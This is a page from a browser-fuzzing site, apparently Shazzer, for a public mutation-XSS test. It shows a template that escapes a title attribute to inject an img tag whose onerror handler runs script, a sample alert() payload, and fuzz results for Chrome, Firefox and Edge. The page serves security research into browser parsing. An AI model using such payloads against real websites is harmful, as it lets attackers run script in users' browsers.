Shazzer logo

Mutated XSS with img onerror

Chrome logo 1
Firefox logo 1
Edge logo 1

Test mutated XSS in onerror event for image tag

sqjor
Created bysqjor
Created Jul 30, 2024
Updated May 27, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml
$[data2] placeholderhtml
Template used:
<$[data1]><$[data2] title="</$[data1]><img/src/onerror=log('$[data1] $[data2]')>">

Sample payloads

<NO_MATCHES>< title="</NO_MATCHES><img/src/onerror=alert('NO_MATCHES ')>">

Fuzz results

Chrome logo
Chrome 144.0.0.0 desktop Windows NT 10.0
Updated31 Jan 2026
Found 1 result
Loading...
Firefox logo
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 1 result
Loading...
Edge logo
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated31 Jan 2026
Found 1 result
Loading...